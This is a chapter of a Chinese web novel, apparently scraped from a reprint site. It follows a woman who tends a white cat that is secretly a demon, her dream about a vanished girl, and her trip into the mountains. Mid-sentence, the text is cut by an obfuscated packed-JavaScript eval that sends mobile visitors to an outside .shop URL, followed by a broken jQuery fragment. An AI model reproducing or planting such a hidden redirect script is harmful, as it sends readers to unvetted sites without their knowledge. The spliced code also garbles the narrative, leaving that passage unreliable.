文趣网 > 其他小说 > 常姑娘请自重 > 11. 第十一章
    常乐宁今晚做的萝卜羊肉汤。萝卜和羊肉都切成薄片,这样不用炖煮很久就能出锅。给白猫吃的羊肉是一起煮的,羊肉熟了,她先将白猫的份捞出来,这才开始调味。

    她将羊肉汤和两个肉包以及白猫的羊肉都端到堂屋的方桌上,如今白猫可以走动了,不用在它的窝边吃饭,她们俩可以一起吃。

    常乐宁光是想象她与白猫坐一桌吃饭的场景,心里就感到暖暖的。

    可等她进到屋里去叫白猫时,白猫正在呼呼大睡。

    她靠近木柜,听到细细的呼噜声。它睡得很沉。方才还用尾巴遮住脑袋,如今脑袋搭在猫窝边缘,抬着下巴,仰着头。

    一副很好亲的模样。

    常乐宁这么想也这么干了。

    她动作很轻,只是俯身轻轻一贴。看来白猫开始信任她了,才会如此睡姿,她可不能把它吵醒。

    她就着油灯暖黄的光,欣赏了一会儿白猫的优美睡姿,才出去堂屋吃饭。

    玉尘本想假装睡觉不理女子,以示对女子无礼的行为抗议,没想到后面真的睡着了。他跳出软塌的稻草窝,站在木柜上弓起身子伸了一个懒腰。

    木柜上没有吃食。

    床头的案几上燃着油灯,女子并不在。

    玉尘鼻翼动了动,循着能恢复他内伤的吃食味道而去。

    一盘温热的羊肉和一碗清水摆在堂屋的方桌上。他没有急着吃,而是看女子在干嘛,他不想吃饭的时候被偷袭。虽然女子没在他吃饭的时候打扰过他,但从今日女子回来发现他没走后,行为愈加过分了,他不能掉以轻心。

    女子躺在院中的躺椅上,侧着身子睡着了。

    如今还是初春,夜晚的风中裹着寒意,脆弱的凡人并没有御寒的皮毛。

    玉尘本不想管,但想着女子若是病倒就没人给他做可以疗伤的吃食,依现在的身体恢复速度,再过几日,他应该就能化形,有妖力回妖界了。

    他看着女子酣睡的侧脸,来此这两日除了做饭与睡觉,没见她停下休息,不是出门就是在家整理草药,她似乎有做不完的事。

    母亲说过修炼哪有凡人生活苦,虽然没能顺利去到归云城,见到凡人与半妖是如何生活的,但如今也算感受了人界的生活。

    还是做妖好些。

    “喵~”

    他不会主动去碰她,不然依他这两日的观察,女子会得寸进尺。他就叫一声,若是听不见他便不管了。

    常乐宁今日赚了钱,心情大好。吃得饱饱的,想在院中赏月数星星,数到三十六时她就睡了过去。

    她陷入了一片黑暗,并不是纯粹的黑,似黑雾与灰雾交织而成的黑,且能感受到雾气的流动。在这黑雾中陡然冒出一个少女的声音,她的声音充满着愤怒:“如此反复到底是福还是折磨?总之我不奉陪了。”

    这声音很熟悉。

    常乐宁昏昏沉沉的,努力回想到底在哪里听过。

    知道了。是她,不,是阿宁的声音。

    这句话是什么意思?她的记忆中阿宁没有说过这样的话。

    难道是关于阿宁的去处的记忆?

    她没有阿宁死亡的记忆,她还想过两个人是不是因为什么特殊能量交换了身体。但听这话的意思,阿宁和她不一样,不是无知无觉。

    为什么她没有全部的记忆?

    “喵~”一声猫叫,将常乐宁从一片混沌中拉了回来。

    她睁开眼,看到蹲坐在一旁的白猫,下意识说:“咪咪,是不是没看到饭?就在堂屋的桌上。”她本来想起来抱白猫过去吃饭,可一坐起身,太阳穴处突突的痛。

    “咪咪你等我一下。”她将两手放在太阳穴上打圈轻按着。

    玉尘想过凡人脆弱,没想到这么脆弱,女子应该没睡多久,这么短的时间就不舒服了?

    常乐宁按了一会儿,头不痛了,却抬眼看到一只皱眉的猫。对上白猫宝石般的异瞳,她嘴角翘起,问道:“咪咪,你是在担心我吗?”

    啊?谁担心了!

    白猫鼻中呼出一口气,扭头朝屋里走去。

    若是平时她肯定要追上去,抱起可爱的白猫贴一贴。可她现在还在想刚才听到的话,是做梦了?

    梦里会让她找回失去的记忆?

    常乐宁决定今晚早早入睡,看这梦会不会给续上。她见白猫已经跳到桌上吃饭,将躺椅搬回屋檐下,去了灶房。

    她用剩余柴火煮的水温度正好,温热不烫手。本来想好好泡个澡,如今就简单冲洗一遍。她回屋中取替换衣裳时,白猫已经吃完在月光铺洒的小院中散步。它一身蓬松的白毛,即使在昏暗的夜色中,依然耀眼。

    常乐宁没有多看,趁白猫不在屋中,脱下外衣,取了替换的小衣和中衣就去灶房后面的沐浴房了。

    等她洗完收拾好,白猫已经在木柜上蜷缩成一团,又看不见脑袋了。

    她笑了笑,心想:我家白猫不是夜猫子,报恩猫无疑了。

    常乐宁关好门,躺到被窝里,侧身看着白团子轻声说了一句“咪咪,晚安”,这才灭了床头的油灯,躺平入睡。

    玉尘消食回到屋中听到后面哗哗水声,便猜想到女子在做什么,他走也不是留也不是。这个小院就两间屋有床,另一间他偷偷去看了,里面供有牌位,他无意惊扰,可让他睡到堂屋硬邦邦的木桌上,他又不愿意。

    思来想去,还是只能和女子一屋。只要他不偷看,就不算有失礼数。

    一阵风吹过,卷动一片暗云盖住了明月,整个小院变得如墨一般黑,屋后的山峦似张着血盆大口想要将这一片墨黑吞噬。屋中一人一猫轻浅的呼吸声,吹走了暗云,温柔的银光洒下,那血盆大口乖乖闭上嘴隐入山岭中。

    一夜无梦。

    常乐宁起身伸了一个懒腰,穿好外衣走到木柜前,低头看着白猫。

    没关系,日子越过越好,该记起的事总会记起的。

    难得女子比他先睡着,玉尘因此睡了一个好觉,醒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491752|202264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了都不想睁眼,将双手双腿伸直舒展。

    好想打个滚儿。

    他的身子还没翻转,伸出去的手被一个暖暖的平面接住。玉尘猛地睁眼看去,太阳还没出来,女子的笑容已经晃了他的眼。

    常乐宁握着白猫的小山竹,眉眼弯弯说:“咪咪,早呀!”她还想凑上去吸上一口猫味儿,白猫已经挣开她的手弹跳起来。

    哎,有点怀念白猫最开始虚弱的时候,可以随便亲随便贴。

    她打开房门放白猫自由,洗漱完后,在院中看着日出,做了一套舒展运动。白猫站在主屋的屋檐下,沐浴着晨光,时不时瞟她一眼,充满防备。

    常乐宁忍不住反思,她是否对白猫表现得过于热情。记得云养猫的视频里说过,想要与猫亲密,得从幼崽时就开始做脱敏训练,白猫怎么看都是一只成年猫,还是一只边界感很强的猫,现在开始脱敏还有用吗?

    她相信时间会改变一切。白猫只是没与人如此相处过,日子长了肯定会习惯的,所以她还得多多与它亲近。

    常乐宁给自己鼓完劲,去灶房小灶生火煮上水,把昨日没吃的三个包子蒸上。买的橘子还剩五个,她全捧着去到主屋,将橘子放在牌位前,点上一炷香,她不知道阿宁的去处,这是她唯一能替阿宁做的事。

    在牌位面前拜了拜,她转身看向墙上挂着的两把弓,一大一小,小的那把是阿宁的。她取下小弓,再取下箭囊,里面有十支箭,希望她一支也用不上。

    今日进山,她会去前山谷底,以防万一,要带上弓箭。

    白猫的早饭是昨日留出来的羊肉,她切成薄片在烧开的水里涮了涮,给它放盘里凉着。

    现在天气还不是很热,鲜肉还能勉强放一两日,之后难道整日吃鱼?她昨日还想买些鸡肉,但鸡肉是整只卖,她怕吃不完坏了浪费就没买。听说府城有专门的猫食店,近日打听一下,谁要去,得托人买一些回来,不然她不在家,白猫就只能饿着。

    “咪咪,吃早饭了。”

    她将新换的水和羊肉放在方桌上,自己吃了一个包子,另两个包起来揣着就准备出门了。

    “我下午才能回来,若是饿了就先睡觉。”她想走过去摸摸白猫,被它麻利地躲开了。

    常乐宁耸耸肩,没再看白猫。她去屋里套上那件洗不干净的麻布长衫,将箭囊挎在腰上右手边,收纳小铲和短刀的皮包挪到左边,背上背篓,将弓挎在左肩。

    “咪咪,我出门了,我争取下午早点回来。”

    站在桌上准备吃饭的白猫对她眨了眨眼。

    咦~说猫咪眨眼是亲亲的意思,它这是在表示亲热,给她一个送别吻吗?

    为避免误会,常乐宁决定先观察观察,等下次它再眨眼,她就亲回去。不能让小猫咪单方面付出。

    玉尘不知道女子脑中的思绪如此乱七八糟,他只是见女子今日进山带了弓箭,多看了一眼。他想起自己是怎么来到人界的,只要女子不去后山深处就不会有事。